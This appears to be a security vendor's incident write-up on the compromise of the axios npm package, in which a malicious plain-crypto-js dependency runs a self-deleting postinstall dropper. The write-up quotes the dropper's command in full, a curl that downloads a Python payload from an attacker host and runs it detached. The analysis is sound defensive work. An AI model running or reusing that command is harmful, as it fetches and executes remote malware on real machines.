jasonsaayman — lead maintainer of axios — was compromised. The attacker published axios@1.14.1 and axios@0.30.4, both injecting a new dependency: plain-crypto-js@4.2.1.StepSecurity first identified the compromise, reporting that the account email was changed to ifstap@proton.me and that plain-crypto-js was authored by nrwise@proton.me. Socket Security independently confirmed the malicious dependency chain.
A GitHub issue reported the hijack publicly; the thread was later removed from public view (rely on vendor posts and npm metadata as primary sources).
According to StepSecurity, the setup.js dropper deletes itself after execution and replaces package.json with a clean stub — erasing filesystem evidence of the compromise. Ground truth for what ran then depends on runtime observation, not a post-install disk scan.
What Garnet observed
Method: Profiling of compromised and clean axios installs plus plain-crypto-js (clean 4.2.0 vs malicious 4.2.1) on GitHub Actions runners instrumented with Garnet's eBPF sensor.
The attack chain
Process lineage
Run 23778294353 · jadoonf/npm-analysis-feed
Analyse npm packages
The lineage above is what npm install axios@1.14.1 actually does at the kernel level. Follow the tree: npm resolves plain-crypto-js@4.2.1 as a dependency and runs its postinstall hook — npm_package_name=plain-crypto-js on the child process confirms the source even though you installed axios.
From setup.js, a shell runs a download and stages the second stage:
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.pyThe -d packages.npm.org/product2 POST body is designed to blend with npm traffic at the HTTP layer; the profile’s destination — sfrclak.com at 142.11.206.73, flagged as suspicious — exposes the disguise. nohup runs the Python stage detached so it can survive the postinstall hook completing.
What changes between clean and compromised
A clean axios@1.14.0 install reaches only registry.npmjs.org. No postinstall shell spawns. No malicious child processes. The installs use the same command — the behavioral split appears only at runtime.
axios@1.14.0 (clean) | axios@1.14.1 / 0.30.4 (compromised) | |
|---|---|---|
| Dependency chain | No malicious postinstall | Resolves plain-crypto-js@4.2.1 → setup.js |
| Shell / interpreter behavior | None beyond npm | sh → sh -c node setup.js, then curl + python3 |
| Network (observed) | registry.npmjs.org | Registry + sfrclak.com:8000 (142.11.206.73) |
| Garnet signals | 0 | 3 — interpreter_shell_spawn (critical, ×2), exec_from_unusual_dir on setup.js (high) |
| Evidence on disk after run | Normal package tree | Erased — self-deleting dropper / stub package.json per StepSecurity |
How the attacker staged it
plain-crypto-js@4.2.0 was published clean on March 30 at 05:57 UTC — parking the package name. Garnet's profile of that version shows zero unexpected behavior. The malicious 4.2.1 arrived 18 hours later at 23:59 UTC. axios@1.14.1 followed 22 minutes after that. Two axios release lines — 1.14.1 and 0.30.4 — both pull in 4.2.1, producing an identical behavioral fingerprint. The staging pattern: establish the name, wait, inject the payload, fan out across version lines.
Real-world impact
Axios is one of the most depended-on packages in the npm ecosystem. Any pipeline running npm install axios without a pinned version during the window between publication and takedown could have executed the postinstall chain — and the self-deleting dropper leaves little post-hoc filesystem evidence.
In March 2026 alone, Garnet field notes already covered Trivy, KICS, LiteLLM, and Telnyx before this axios incident — different ecosystems, different operators. Axios is not attributed to TeamPCP in open reporting; the pattern that repeats is the blind spot: code runs in CI with full secrets access and no kernel-level audit trail until you add one.
Explore the run profile above, or start observing your own workflows with Garnet.